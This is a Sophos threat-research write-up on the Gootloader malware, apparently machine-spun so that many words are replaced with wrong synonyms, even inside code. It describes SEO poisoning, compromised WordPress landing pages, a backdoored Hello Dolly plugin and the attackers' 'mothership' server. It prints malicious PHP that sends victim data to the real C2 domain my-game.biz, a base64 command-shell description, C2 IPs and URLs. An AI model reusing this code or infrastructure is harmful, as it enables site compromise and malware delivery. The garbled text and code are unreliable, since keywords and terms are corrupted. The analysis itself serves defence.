Gootloader inside out – Sophos Information

That hidden ingredient had hyperlinks (chosen with inexperienced) and the matching focused search phrases (chosen with brown):

This hidden ingredient won’t be seen to human webpage guests. However search engine crawlers see and course of it, which methods the major search engines into treating the web site as if it offers related content material on the poisoned search time period, thus rating the location excessive within the search outcomes.

Compromised touchdown web page code

When safety vendor Sucuri wrote up a weblog publish about an earlier technology of Gootloader, it included this screenshot:

The report (and screenshot) revealed three promising strings:

• The request: $_GET[‘a55d837’
• A malicious web domain name: ‘my-game[.]biz’
• A SQL question (proven on a distinct screenshot in Sucuri’s weblog): ‘SELECT * FROM backupdb_’

Looking out Google for code fragment $_GET[‘a55d837’ led us to an online decoder page, where the result (now deleted) of another researcher’s query revealed the encoded version of the PHP code used in the malicious web page:

function qwc1() {
    global $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["x52105x4d117x54105x5f101x44104x52"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("x53105x4c105x43124x20105x58111x53124x5340x28123x45114x45103x5440x2a40x46122x4f115x20142x61143x6b165x70144x62137".$table_prefix.
                "x6c163x74141x7440x57110x45122x4540x77160x2075x2047".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "x2751x3b") == 1) {

and the decoded model of that very same script:

operate qwc1() {
    world $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["REMOTE_ADDR"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("SELECT EXISTS (SELECT * FROM backupdb_".$table_prefix.
                "lstat WHERE wp = '".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "');") == 1) {

Whereas it isn’t clear how the code ended up on that web site, the Web by no means forgets: Engines like google discovered and listed this evaluation. This gave us the primary perception at what the injected code of the compromised touchdown pages would seem like.

(Each the evaluation linked above, and one other web page I subsequently discovered on malwaredecoder.com, had been later eliminated by their respective web site house owners. Search outcomes that reveal ephemeral evaluation pages like these are solely out there for a brief time period. For those who plan to quote supply supplies from websites similar to these, hold an offline copy of the web page, as a result of they might not be there while you return.)

At this level we didn’t know precisely how the websites are compromised, however we knew from the report that malicious PHP code is someway inserted into the WordPress set up.

The search on Virustotal for content material:”SELECT * FROM backupdb_” provides a few recordsdata from a compromised server that include an error message:

WordPress database error: [Table 'interfree.backupdb_wp_lstat' doesn't exist]
SELECT EXISTS (SELECT * FROM backupdb_wp_lstat WHERE wp = '117|50|2');

The criminals are possible utilizing the database backupdb_wp_lstat, which should have been faraway from the server throughout a cleanup. We had been looking for this content material on VirusTotal (search time period: content material:”backupdb_wp_lstat”), hoping we’d come upon a database dump. It’s at all times a good suggestion to arrange these guidelines and do further retrohunts, which may reveal different useful recordsdata or knowledge.

We had been fortunate, and located an archive file containing a SQL dump of the WordPress database from a compromised server on a public malware repository.

The dumped database comprises a desk known as backupdb_wp_lstat. Later evaluation decided that this desk comprises the IP deal with blocklist the malicious web site makes use of to forestall repeat visits.

The obfuscated PHP code was additionally viewable within the database dump:

…as was the injected search engine optimization poisoning content material, with the j$ok..j$ok marker:

Researchers who need to hunt for this identifiable string within the Descriptions property of the malicious touchdown pages can use the regex  /j$ok([0-9]{1,10})j$ok/

This marker serves as placeholder for the spot the place Gootloader’s hyperlink to the web page renderer script is inserted. When the Gootloader web page is served up, it excludes the marker from the web page supply.

Nonetheless, the code extracted from the SQL database dump was not precisely the identical as what was proven within the Sucuri weblog. We continued trying to find extra examples by pivoting on the C2 server my-game[.]biz, and located a handful of PHP recordsdata referring to that server:

The submission title commented_functions.php regarded promising. Certainly, it turned out to be possible the work of a researcher, analyzing the PHP supply code from the compromised WordPress set up. It was kindly documented intimately, saving us some evaluation time (which additionally helped as a result of we didn’t have all of the parts).

We had been in a position to make use of the base64 string referenced within the “html” remark above to go looking VirusTotal, which led us to a (comparatively) just lately uploaded SQL dump.

The dump file contained the beforehand referenced base64 blob…

…which, when decoded, output the identical code that was initially revealed by Sucuri:

With this in hand, we had higher confidence within the provenance of this malicious code. We additionally recognized  the desk the place Gootloader shops it in a compromised WordPress database. Having positioned the dump of the WordPress database and the PHP code on the web decoder web site, we’ve an entire copy of the malicious content material hosted on the compromised touchdown websites.

What’s within the touchdown web page code?

This code comprises a easy PHP command shell, which the Gootloader attackers can use to take care of entry to compromised pages.

The variable $pposte holds the title of the parameter that will get executed. If the compromised web site receives an HTTPS POST with that string in it, the code on the web page will decode and execute any base64 encoded instructions it receives, turning right into a bare-bones command shell the attackers can use to take care of management over the server:

At different factors contained in the code, the script defines filters for WordPress occasions, which set off the execution of capabilities primarily based on predefined circumstances.

For instance, the next operate executes as soon as the attackers have arrange the compromised WordPress surroundings: the invoked code (referenced as “qvc5”) initializes the backupdb_wp_lstat database desk.

    add_action("wp", "qvc5");

This snippet from the qvc5() operate initializes the backend databases utilized by Gootloader:

if ($table_prefix < > "backupdb_".$qvc4) {
    $table_prefix = "backupdb_".$qvc4;
    wp_cache_flush();
    $qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
    $qvc5 - > set_prefix($table_prefix);

On getting ready the requested net web page, the malicious occasion handler hooks construct the request to the “mothership” (a reputation I’ve given to the web site the Gootloader operators use to centrally handle their fleet of compromised blogs). The communication sends the mothership the next parameters of the preliminary request, all in base64 encoded kind:

• a: Distinctive server ID
• b: IP deal with of the unsuspecting customer
• c: consumer agent
• d: referrer string

if (isset($_GET[$qwc4])) {
   $request = @wp_remote_retrieve_body(@wp_remote_get("http://my-game.biz/index.php?a=".base64_encode($_GET[$qwc4]).
   '&b='.base64_encode($_SERVER["REMOTE_ADDR"]).
    '&c=".base64_encode($_SERVER["HTTP_USER_AGENT"]).
    "&d='.base64_encode(wp_get_referer()), array("timeout" => 120)))

Considered one of Gootloader’s most problematic behaviors is that it solely permits the potential sufferer to go to the location as soon as in a 24-hour interval. It does this by including the originating IP deal with of this communication (the deal with of the sufferer PC, variable ‘b’ above) to a block listing. The server additionally geofences IP deal with ranges, and solely permits requests to originate from particular international locations of curiosity to the Gootloader risk actor.  The referrer string (variable ‘d’ above) comprises the unique search phrases.

This ends in a question that appears like this:

http://my-game.biz/index.php?a=YWFkZTVlZQ&b=ODUuMjE0LjEzMi4xMTc&c=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzg4LjAuNDMyNC4xNTAgU2FmYXJpLzUzNy4zNg&d=Z29vZ2xlLz9xPWNpc2NvX3dwYV9hZ3JlZW1lbnQ

(On this instance, the “&d=” referrer string is the base64-encoded worth of “google/?q=cisco_wpa_agreement”)

Later, we are going to see that the server’s response would be the pretend discussion board web page renderer code.

The mothership sends the pretend discussion board web page

The mothership response comprises two elements: one comprises the HTML header components, and the opposite comprises the web page physique content material. The 2 are delimited within the code by a tag.

The header half comprises a number of components, separated by pipe (“|”) characters. Utilizing what it will get from the mothership, the touchdown web page code will collect the HTML content material:

The script provides the whole /24 IP deal with vary the place the request originated to a 24-hour block listing. Neither the originating pc, nor any others with the identical preliminary three units of numbers in its IP deal with, can get the web page once more for at the very least a day. (This was already seen within the SQL database dump):

How Gootloader renders the pretend discussion board web page

If the request comes from an IP deal with that isn’t on the block listing, the malicious code within the compromised WordPress database takes motion and delivers the bogus message board content material (sometimes titled merely “Questions And Solutions”) to the customer’s browser.

The one seen malicious content material within the supply code of a compromised touchdown web page is a straightforward inserted JavaScript tag. For instance:

https://powerstick.com/major/?ad94610=1174868

Right here, once more, the distinctive key for the contaminated server is used as a parameter assigned to a numeric worth (1174868 within the above instance):

This

If the HTTPS GET request comprises a question string that features the an infection ID, the handler code sends a request to the mothership and renders the response.

We’re in a position to get the code returned by the mothership by grabbing the pretend touchdown web page HTML supply, and utilizing an online debugger that information the on-the-fly adjustments.

First it deletes the unique content material of the HMTL web page:

…and replaces it with the pretend discussion board textual content…

…which additionally comprises the obtain hyperlink for the primary stage JScript payload:

The consequence will seem like a dialog within the weblog feedback through which somebody “asks” a query similar to the search question handed from the Google referrer textual content, a “response” seems from a consumer account named Admin with the search time period hotlinked to the primary stage JScript downloader, and a followup “response” from the identical “consumer” who “requested” the preliminary query, thanking the admin who “answered.”

Your entire dialog is a fiction. It follows this sample in each Gootloader incident.

The primary-stage downloader web site

The pretend discussion board web page connects to the primary stage obtain server, the place a PHP script serves the primary stage JScript downloader script.

(We acquired a duplicate of this script from one other researcher within the safety neighborhood, who needs to stay nameless, below TLP:Purple restrictions. Whereas we couldn’t use the script we acquired on this weblog publish, we may use traits of the script to hunt for comparable samples.)

On the server aspect, this file is embedded as a big Base64-encoded knowledge blob, with textual content that begins:

With this data, we may seek for comparable scripts, utilizing this Yara rule:
rule gootkit_stage1_dl{
   strings:
          $a = "
This gave us a handful of different variants of the script, with the principle distinction being the obtain URL:

We noticed two mothership addresses, 5.8.18[.]7 and my-game[.]biz within the samples we studied. On the time we initially researched this, the my-game area resolved to that IP deal with (it now resolves elsewhere). Oddly, the compromised touchdown web page code hyperlinks to the area, and the primary stage JScript downloader hyperlinks to the IP deal with.
The primary stage obtain script (down.php or be a part of.php or about.php or index.php) merely relays the incoming request to the mothership:

The request despatched to the mothership will return the first-stage downloader JScript packaged in a Zip archive. As a result of it passes the unique referrer string all the way in which to the mothership, it should obtain the unique search phrases, and might return a payload with a file title matching these search phrases, which is what we’ve noticed occurs.
How Gootloader compromises WordPress servers
Close to the top of our preliminary analysis, we discovered an essential piece of details about the possible supply of the preliminary compromise of the internet hosting WordPress servers. As we collect extra data, it’s value revisiting prior analysis, which can reveal clues that we didn’t know had been associated on the time.
The writeup describes an assault the place attackers positioned a modified copy of the Howdy Dolly plugin within the WordPress uploads listing (e.g. wp-content/uploads/), which they then used to provoke the set up of the malicious WordPress content material.
HelloDolly.php has been a inventory plugin, included with the WordPress self-hosted obtain, for a few years. In any case, modifying this code in a comparatively benign plugin, and leaving it in place on the compromised server, permits Gootloader to function in plain sight whereas minimizing the filesystem adjustments that may reveal a compromise to an alert webmaster.
There are a number of methods through which a risk actor would possibly have the ability to place a file right into a WordPress web site: The credentials for the online server might need been phished or stolen; a WordPress element could have had a vulnerability that permitted distant customers to carry out SQL injection or command execution exploits on the host server; the executive WordPress password might need been stolen.
On this case, the writeup comprises a screenshot:

We searched VirusTotal for extra of those recordsdata:
content material:"dolly_css"
Whereas we discovered a number of clear, unique variations of the HelloDolly.php file…

2c5717200729f76b857a8a32608b72fd3c15772dfcc607bebfc3b36f8ab2a499
2c3d2a55349efe8b636350b58181d930a73e0d0ede59dcaadc47d9a56dd15127

…we discovered many extra the place the backdoor code had been injected…

03a46ad7873ddb6663377282640d45e38697e0fdc1512692bcaee3cbba1aa016
1fcc418bdd7d2d40e7f70b9d636735ab760e1044bb76f8c2232bd189e2fd8be7
258cb1d60a000e8e0bb6dc751b3dc14152628d9dd96454a3137d124a132a4e69
5d50a7cf15561f35ed54a2e442c3dfdac1d660dc18375f7e4105f50eec443f27
7bcffa722687055359c600e7a9abf5d57c9758dccf65b288ba2e6f174b43ac57
af50c735173326b2af2e2d2b4717590e813c67a65ba664104880dc5d6a58a029

…and we additionally discovered a number of Zips that contained full copies of compromised WordPress installations:

89672c08916dd38d9d4b7f5bbf7f39f919adcaebc7f8bb1ed053cb701005499a

Right here, the malicious HelloDolly PHP script is put in as a WordPress plugin below the trail:
wp-contentpluginsHello_DollyHelloDolly.php

The malicious PHP recordsdata present the extra code, together with the unique Howdy Dolly lyrics. An inserted code will verify the POST request for particular parameters, and if discovered, will execute the submitted set up code.

We discovered different variations the place the $dolly variables are renamed $wp
The analysis weblog publish summarizes the method like this:

We discovered these parts within the SQL database dumps, giving us sufficient confidence to determine that this was (at the very least) a technique the attackers compromised these reliable WordPress websites to show them into distribution servers.

Docking with the mothership
The mothership server performs a central position orchestrating the early levels of the infection course of: It offers the pretend discussion board content material that the compromised websites show within the goal’s browser, in addition to the primary stage payload.
Sadly, as a result of this has all been maintained on a server that’s immediately managed by the risk actors, no matter supply code it could include is just not out there to researchers.
Disturbingly, since 2018 when Gootloader first appeared on the scene, it has used the identical area, and for many of that point, the area pointed to a lot of the identical IP addresses.
5.8.18[.]7
The my-game[.]biz area resolved to this IP deal with for a number of years. Lots of the malicious scripts level immediately at URLs hosted on this IP deal with to ship parts of the an infection.
Recognized URLs:
http://5.8.18[.]7/filezzz.php
The preliminary parts of the an infection are recordsdata referred to as Gootkit. They’re normally simply PHP scripts that include a base64-encoded string and a script to decode the info and output it to a variable, similar to this file (variably known as be a part of.php or down.php).

We had been additionally in a position to establish a number of Gootkit recordsdata that check with, or hyperlink to, this IP deal with, together with this script, and this script. Each of those recordsdata include error messages that check with one thing not with the ability to fully obtain a element.

Apparently, the server-side downloader script was named file_tmp_41.php, which is in contrast to the downloader scripts seen usually. Which will point out this script was an artifact of testing.
If we pivot off of this data, and (for instance) search VirusTotal for content material:” . The consequence yields further recordsdata, each of which include a URL that we’ve beforehand mentioned:
http[:]//5.8.18.7/filesst.php?a=$i&b=$u&c=$r&d=$h&e=$g
5.8.18[.]159
This was one other deal with that my-game[.]biz has resolved to previously. We had been capable of finding one other first-stage Gootkit element that hyperlinks on to this IP deal with.
91.215.85[.]52
One more IP that has been used to host my-game[.]biz and continues to take action. We discovered nonetheless one other first-stage Gootkit script that hyperlinks to this IP deal with.
my-game[.]biz
The positioning is clean now, however the Web Archive reveals an fascinating origin story to this area: In 2014, it was used to host a Russian on-line playing web site. Since 2018, the web page has hosted no different content material however has been linked to the Gootkit/Gootloader malware.

The one different reference we may discover to the area was a Counter-Strike clan listing relationship again greater than 15 years.

The listing lists this web site as the house web page for a gaggle of “semi skilled” gamers primarily based in Germany who performed below the deal with #mY-GaMe.
Identify:     #mY-GaMe
Clan-Tag (Kürzel):     #mY-GaMe`
Land (Hauptsitz des Clans):   Deutschlandweit
Ort (Hauptsitz des Clans):    Deutschlandweit
Chief:   pr0nb1tch
ICQ#:     256558686
Homepage: http://www.my-game.biz
Anzahl der Spieler:    10
Artwork der Spielmodi:     Leaguez
Clan-Profil:    Semi-Profi-Clan
Clan sucht neue Spieler:      Ja
Chief: kevin.goe@on-line.de


Open-source intelligence reveals loads
With a malware an infection methodology seemingly designed to make it as troublesome as potential for researchers to dig in and be taught the way it works, Gootloader stays one of the pernicious and difficult-to-study threats on the internet.
Nonetheless, regardless of most of its code current and working within different individuals’s WordPress servers, the proliferation of on-line evaluation instruments offers a wealthy pool of alternative to find out how the malware works, and the way its loader delivers payloads. Due to the sources uploaded by quite a lot of totally different analysts and researchers, we’ve been in a position to construct a virtually full image of how the malware operates.
The PHP scripts, embedded JavaScript parts, and downloadable JScript payloads of this an infection at the moment are effectively understood, and but the malware continues to have an effect, greater than six years after it was first found. Luckily, as a result of comparatively sluggish tempo of the malware’s improvement and its comparatively steady internet hosting of the “mothership” server, static and dynamic detections stay efficient.
And a last notice about collaborative analysis tasks. It pays to develop and keep relationships with the malware evaluation and safety analysis neighborhood. For this challenge, we acquired assist from a number of researchers, a few of whom didn’t need to be acknowledged. Our recommendation: For those who do this sort of work, don’t hesitate to share your findings; you’ll discover that the trouble you put money into collaboration with colleagues throughout the trade will finally repay while you want data. We’re grateful for the help and assist we acquired from a number of people.
Acknowledgments
Sophos X-Ops gratefully acknowledges the contribution of Marv Ahlstrom, an search engine optimization knowledgeable who suggested us about varied points of Gootloader/Gootkit’s malicious search engine optimization. The writer additionally needs to thank the pseudonymous researchers who use the handles @sS55752750, @SquiblydooBlog, and @GootLoaderSites for his or her help. We additionally acknowledge and are grateful for analysis beforehand revealed by Sucuri and Wealthy Infante. X-Ops researcher Andrew Brandt contributed to this evaluation.
Indicators of compromise
Hashes and different IOCs referenced on this story are listed on the SophosLabs Github.